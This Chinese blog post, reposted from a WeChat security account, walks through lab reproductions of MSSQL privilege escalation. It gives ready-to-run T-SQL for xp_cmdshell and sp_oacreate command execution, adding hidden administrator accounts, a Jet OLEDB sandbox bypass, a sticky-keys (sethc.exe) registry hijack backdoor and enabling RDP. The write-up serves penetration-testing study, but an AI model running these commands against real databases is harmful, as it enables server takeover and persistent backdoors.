本篇文章是MSSQL数据库漏洞提权复现记录,由浅入深地介绍了系统存储过程控制不当导致提权如sp_oacreate和sp_oamethod、扩展存储过程使用不当提权如xp_cmdshell和xp_regwrite、沙盒提权及映像劫持。主要分为四个部分:MSSQL数据库介绍、MSSQL安装&环境配置、MSSQL基本操作、MSSQL提权漏洞复现。
0x01 MSSQL数据库介绍
MSSQL(MicroSoft SQL Server数据库)
,是微软开发的关系型数据库管理系统DBMS
,是一个较大型的数据库,提供数据库的从服务器到终端的完整的解决方案,数据库管理系统SSMS(SQL Server Managerment Studio)
,是一个用于建立、使用和维护数据库的集成开发环境。端口号:1433
1、SA用户介绍
在搭建MSSQL时,选择使用SQL Server
身份验证会创建SA账户并设置密码,SA(System Administrator)
表示系统管理员,在SQLServer2019
之前的SA用户都是系统最高权限用户SYSTEM
,但在2019版本时为普通数据库用户mssqlserver
,是一个低权用户。
2、MSSQL权限级别
-
sa权限:数据库操作,文件管理,命令执行,注册表读取等价于system,SQLServer数据库的最高权限 -
db权限:文件管理,数据库操作等价于 users-administrators -
public权限:数据库操作等价于 guest-users
3、存储过程
MSSQL的存储过程是一个可编程的函数,它在数据库中创建并保存,是使用T_SQL编写的代码段,目的在于能够方便的从系统表中查询信息。数据库中的存储过程可以看做是对编程中面向对象方法的模拟。它允许控制数据的访问方式,使用execute
命令执行存储过程。(可以将存储过程理解为函数调用的过程)
简单来说,存储过程就是一条或者多条sql语句的集合,可视为批处理文件
存储过程可分为三类:系统存储过程:主要存储在master数据库中,以"sp_"为前缀,在任何数据库中都可以调用,在调用的时候不必在存储过程前加上数据库名扩展存储过程:是对动态链接库(DLL)函数的调用,主要是用于客户端与服务器端或客户端之间进行通信的,以“xp_"为前缀,使用方法与系统存储过程类似用户定义的存储过程:是SQLServer的使用者编写的存储过程
4、系统数据库
系统数据库默认创建时就会存在,有以下4种
-
master
master数据库控制SQLserver数据库所有方面。这个数据库中包括了所有的配置信息、用户登录信息、当前正在服务器中运行的过程的信息等。
-
model
model数据库是建立所有用户数据库时的模版。新建数据库时,SQLserver会把model数据库中的所有对象建立一份拷贝并移到新数据库中。在模版对象被拷贝到新的用户数据库中之后,该数据库的所有多余空间都将被空页填满。
-
msdb
msdb数据库是SQLserver数据库中的特例,若想查看此数据库的实际定义,会发现它其实是一个用户数据库。所有的任务调度、报警、操作员都存储在msdb数据库中。该库的另一个功能是用来存储所有备份历史。SQLserver agent将会使用这个库。
-
tempdb
tempdb数据库是一个非常特殊的数据库,供所有来访问你的SQL Server的用户使用。这个库用来保存所有的临时表、存储过程和其他SQL Server建立的临时用的东西。例如,排序时要用到tempdb数据库。数据被放进tempdb数据库,排完序后再把结果返回给用户。每次SQL Server重新启动,它都会清空tempdb数据库并重建。永远不要在tempdb数据库建立需要永久保存的表。
5、MSSQL注入
MSSQL注入与普通的MYSQL注入类似,但在数据结构特定函数名称上有些差异。而使用经过语法扩展的T-SQL语句,在实现更为复杂的业务的同时,也带来了安全上的危险。因此MSSQL在后续提权部分,与MYSQL有着较大的差异。由于该数据库与Windows平台的高契合度,使其可以使用Windows身份验证(或SA管理员账号),这就导致其运行权限较高。因此,若后续权限没有限制准确,WEB代码又存在SQL注入时,就会给整个服务器的安全带来严重威胁,其后果一般比Mysql被攻破要严重。
0x02 MSSQL安装&环境配置
1、MSSQL 2019版本数据库安装
1)环境选择
选择Win2016
搭配MSSQL2019
2)下载地址
下载地址:
https://www.microsoft.com/zh-cn/sql-server/sql-server-downloads
选择SQL Server 2019 Express Edition版本
3)安装SSMS
安装完SQL Server Express版本后,可以直接选择安装SSMS
2、MSSQL 2008 x64版本数据库安装
1)环境选择
选择Win2016
搭配MSSQL2008
2)下载地址
下载地址:
https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
下载如图两个文件
3)安装SQLEXPR_x64_CHS.exe
基本安装过程类似2019的
4)安装SQLManagementStudio_x64_CHS.exe
若提示没有安装.NET3.5
,按下文步骤即可https://www.cnblogs.com/labster/p/14863516.html
之后选择全新安装,默认下一步即可
3、MSSQL 2008 x32版本数据库安装
1)环境选择
选择Win2003
搭配MSSQL2008
2)下载地址
下载地址:
https://www.microsoft.com/zh-CN/download/details.aspx?id=30438
3)踩坑记录
这里的32位系统环境用于复现第四部分的沙盒漏洞提权,相较于前两个数据库的安装,这里遇到了不少坑,较详细介绍下。使用Win2003 x32
系统作为复现操作系统,由于年代久远加上03系统装08软件,记录下几个坑点。
Ⅰ. 启动SQLEXPR_x86_CHS.exe
提示缺失程序
Ⅱ. 安装.NET 3.5
慢慢等待5分钟
Ⅲ. 安装Windows_Installer4.5x86.exe
默认下一步
Ⅳ. 安装powershell2003x86-CHS.exe
其余安装过程类似,就不详细介绍了,附上安装工具包:
https://pan.baidu.com/s/15CngCBWign9fY1IrSt4_jg
密码:fm4v
0x03 MSSQL数据库基础操作
1、使用SSMS连接MSSQL数据库
连接本地数据库,之前的设置中,我们设置了混杂模式,即可以使用SQL Server 身份验证或 Windows 身份验证登陆进数据库,点击启动SSMS
服务器名称可以填写主机名或本地ip地址 登录名和密码为sa:123.com
注意点:可以一开始会出现使用主机名可以登入上,但是使用ip登入不上的情况可以参考如下文章解决https://blog.csdn.net/weixin_30740295/article/details/95535927
2、MSSQL设置允许通过ip登陆
(以2019版本为例,其余版本类似)
1)打开配置管理器
2)协议TCP/IP设置为开启
在SQL Server 网络配置
下的MSSQLSERVER的协议里启用TCP/IP协议
3)开启远程登陆
先用主机名进行登陆
右键,打开数据库的属性
在连接
处勾选允许远程连接到此服务器
4)关闭防火墙
这里用于渗透测试,直接全部关了
5)重启SSMS服务
打开管理员模式下的CMD
net stop mssqlserver
net start mssqlserver
之后就可以使用IP进行登陆
3、MSSQL数据库常见语句
右键系统数据库,新建查询
1)查看数据库版本
select @@VERSION
2)获取MSSQL中的所有数据库名
SELECT name FROM MASter..SysDatabASes ORDER BY name
3)查询所有数据库中的表名
SELECT SysObjects.name AS Tablename FROM sysobjects WHERE xtype = 'U' and sysstat<200
其余见MSSQL基础学习部分,自行百度
exec xp_dirtree 'c:' # 列出所有c:文件、目录、子目录
exec xp_dirtree 'c:',1 # 只列c:目录
exec xp_dirtree 'c:',1,1 # 列c:目录、文件
exec xp_subdirs 'C:'; # 只列c:目录
select is_srvrolemember('sysadmin') # 判断是否是SA权限
select is_member('db_owner') # 判断是否是db_owner权限
select is_srvrolemember('public') # 判断是否是public权限
EXEC sp_configure 'Ole Automation Procedures' #查看OLE Automation Procedures的当前设置
0x04 MSSQL提权漏洞复现
1、使用xp_cmdshell进行提权
xp_cmdshell默认在mssql2000中是开启的,在mssql2005之后默认禁止,但未删除
1)xp_cmdshell简介
xp_cmdshell
是Sql Server
中的一个组件,将命令字符串作为操作系统命令 shell 执行,并以文本行的形式返回所有输出。通常在拿到sa口令之后,可以通过xp_cmdshell
来进行提权
影响范围:
只要该数据库存在该组件,就可以利用
2)xp_cmdshell使用
Ⅰ. 查看xp_cmdshell状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
返回1表示xp_cmdshell
组件启用
也可以手动查看,右键数据库,打开Facets
在方面中选择外围应用配置器
,在方面属性中查看XPCmdShellEnabled
属性为True
Ⅱ. 开启xp_cmdshell组件
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',1
RECONFIGURE
同样,关闭该组件的命令为
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
Ⅲ. 利用xp_cmdshell执行系统命令
以下几条命令格式都可以用于执行系统命令
exec xp_cmdshell "whoami"
master..xp_cmdshell 'whoami' (2008版上好像用不了)
EXEC master..xp_cmdshell "whoami"
EXEC master.dbo.xp_cmdshell "ipconfig"
注意点:在MSSQL2019版本中,会使用mssqlserver用户而非system用户
3)模拟实战:远程命令执行创建用户
这里通过演示远程命令执行来模拟实战情况,远程MSSQL数据库版本为2008版 环境信息:
远程MSSQL数据库的IP:192.168.112.166
假设已经爆破得到了sa密码
创建用户联合wmiexec拿到shell
exec master..xp_cmdshell "net user test12 123.com /add"
exec master..xp_cmdshell "net localgroup administrators test12 /add"
exec master..xp_cmdshell "net user test12"
可以看到用户添加成功
后续可以登陆用户上传木马,上线CS
4)保护措施
将该xp_cmdshell
存储过程删除即可
exec sp_dropextendedproc 'xp_cmdshell'
被删除后,重新添加xp_cmdshell
存储过程语句
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
若想彻底删除xp_cmdshell
扩展存储过程,建议在C盘里直接搜索xplog70.dll
,然后删除xp_cmdshell
。
2、使用sp_oacreate进行提权|无回显
1)sp_oacreate简介
调用wscript.shel执行命令
sp_oacreate
系统存储过程可以用于对文件删除、复制、移动等操作,还可以配合sp_oamethod
系统存储过程调用系统wscript.shell
来执行系统命令。sp_oacreate
和sp_oamethod
两个过程分别用来创建和执行脚本语言。
系统管理员使用sp_configure
启用sp_oacreate
和sp_oamethod
系统存储过程对OLE自动化过程的访问(OLE Automation Procedures)
在效果方面,sp_oacreate、sp_oamethod
两个过程和xp_cmdshell
过程功能类似,因此可以替换使用!
利用条件:
-
已获取到sqlserver sysadmin权限用户的账号与密码且未降权(如2019版本sa用户权限为mssqlserver,已降权) -
sqlserver允许远程连接 -
OLE Automation Procedures选项开启
2)sp_oacreate使用
Ⅰ. 查看sp_oacreate状态
select count(*) from master.dbo.sysobjects where xtype='x' and name='SP_OACREATE';
返回1表示存在sp_oacreate
系统存储过程
Ⅱ. 启用OLE Automation Procedures选项
当启用 OLE Automation Procedures 时,对 sp_OACreate 的调用将会启动 OLE 共享执行环境。
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',1;
reconfigure;
类似的,关闭组件命令
exec sp_configure 'show advanced options',1;
reconfigure;
exec sp_configure 'Ole Automation Procedures',0;
reconfigure;
Ⅲ. 利用sp_oacreate和sp_oamethod执行命令
-
写入文件
declare @shell int exec sp_oacreate 'wscript.shell',@shell output
exec sp_oamethod @shell,'run',null,'c:windowssystem32cmd.exe /c whoami >c:\sqltest.txt';
回显0表示成功
由于这里是无回显的命令执行,到另一台主机上查看效果,成功写入。
-
删除文件
declare @result int
declare @fso_token int
exec sp_oacreate 'scripting.filesystemobject', @fso_token out
exec sp_oamethod @fso_token,'deletefile',null,'c:sqltest.txt'
exec sp_oadestroy @fso_token
可以看到文件已删除
同样,也可以使用4.1中的创建用户进行登陆拿shell。
3、利用SQL Server沙盒提权
1)SQL Server 沙盒简介
沙盒模式是一种安全功能,用于限制数据库只对控件和字段属性中的安全且不含恶意代码的表达式求值。如果表达式不使用可能以某种方式损坏数据的函数或属性(如Kill 和 Shell 之类的函数),则可认为它是安全的。当数据库以沙盒模式运行时,调用这些函数的表达式将会产生错误消息。
沙盒提权的原理就是jet.oledb
(修改注册表)执行系统命令。数据库通过查询方式调用mdb
文件,执行参数,绕过系统本身自己的执行命令,实现mdb
文件执行命令。
利用前提:
-
需要 Microsoft.Jet.OLEDB.4.0
一般在32位系统才可以,64位机需要12.0,较复杂 -
dnary.mdb
和ias.mdb
两个文件 在win2003
上默认存在,也可自行准备
2)沙盒提权
复现环境
SQL Server2008 (Win2003-x32)
IP: 192.168.112.173
Ⅰ. 测试 jet.oledb 能否使用
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami")')
Ⅱ. 开启Ad Hoc Distributed Queries组件
exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',1 ;
reconfigure;
类似的,关闭组件命令
exec sp_configure 'show advanced options',1 ;
reconfigure ;
exec sp_configure 'Ad Hoc Distributed Queries',0 ;
reconfigure;
Ⅲ. 关闭沙盒模式
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',0;
沙盒模式`SandBoxMode`参数含义(默认是2)
0:在任何所有者中禁止启用安全模式
1:为仅在允许范围内
2:必须在access模式下
3:完全开启
查看命令:
exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines', 'SandBoxMode'
关闭命令:
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftJet4.0Engines','SandBoxMode','REG_DWORD',2
Ⅳ. 执行命令
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("cmd.exe /c whoami >c:\sqltest.txt ")');
在win2003的c盘上看到已经创建了该文件,命令执行成功
同样,可以创建用户
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq QWEasd123 /add")');
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net localgroup administrators testq /add")');
Select * From OpenRowSet('microsoft.jet.oledb.4.0',';Database=c:windowssystem32iasias.mdb','select shell("net user testq")');
4、使用xp_regwrite提权 | 映像劫持提权
2008以上,05未测试
1)xp_regwrite提权简介
通过使用xp_regwrite
存储过程对注册表进行修改,替换成任意值,造成镜像劫持。
前提条件:
-
未禁止注册表编辑(即写入功能) -
xp_regwrite启用
2)映像劫持提权
Ⅰ. 查看xp_regwrite是否启用
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_regwrite'
Ⅱ. xp_regwrite开启与关闭
EXEC sp_configure 'show advanced options', 1
RECONFIGURE
EXEC sp_configure 'xp_regwrite',1
RECONFIGURE
Ⅲ. 利用regwrite函数修改组注册表进行劫持
EXEC master..xp_regwrite @rootkey='HKEY_LOCAL_MACHINE',@key='SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE',@value_name='Debugger',@type='REG_SZ',@value='c:windowssystem32cmd.exe'
Ⅳ. 查看是否修改成功文件
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe','Debugger'
显示已修改为cmd.exe
在目标主机上查看,结果一致
Ⅴ. 验证是否成功
连按5次粘滞键,弹出cmd框
拓展:
上面对只是对粘滞键进行修改,类似的,可以在注册表中进行其他操作
-
删除指定注册表键值对
删除粘滞键的键值
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe'
到目标主机上查看,发现sethc.exe在注册表中的值已删除
-
开启3389端口这里的 xp_regwrite
为向注册表中写数据
exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEMCurrentControlSetControlTerminal Server','fDenyTSConnections','REG_DWORD',0;
exec master..xp_cmdshell "REG ADD 'HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server' /v fDenyTSConnections /t REG_DWORD /d 0"
在注册表中也可以看到3389端口被打开
3)参考
https://sqlandme.com/tag/xp_regwrite/
https://zhuanlan.zhihu.com/p/96504762
5、拓展&小结
常见的存储过程:
xp_cmdshell 执行系统命令
xp_fileexist 确定一个文件是否存在。
xp_getfiledetails 获得文件详细资料。
xp_dirtree 展开你需要了解的目录,获得所有目录深度。
Xp_getnetname 获得服务器名称。
注册表访问的存储过程
Xp_regwrite
Xp_regread
Xp_regdeletekey
Xp_regaddmultistring
Xp_regdeletevalue
Xp_regenumvalues
Xp_regremovemultistring
OLE自动存储过程
Sp_OACreate
Sp_OADestroy
Sp_OAGetErrorInfo
Sp_OAGetProperty
Sp_OAMethod
Sp_OASetProperty
Sp_OAStop
0x05 总结
本文介绍了几种提权拿shell的方法,主要是利用到了系统存储过程和扩展存储过程。最常见的xp_cmdshell
可以用于执行系统命令,xp_regwrite
、xp_regread
用于注册表的读写进行映像劫持,sp_oacreate
、sp_oamethod
基于OLE Automation Procedures
执行系统命令,不过无回显,基于沙盒的提权限制条件比较多且复杂,一般很少使用。
欢迎大伙们关注亿人安全~!
本文始发于微信公众号(亿人安全):MSSQL提权漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论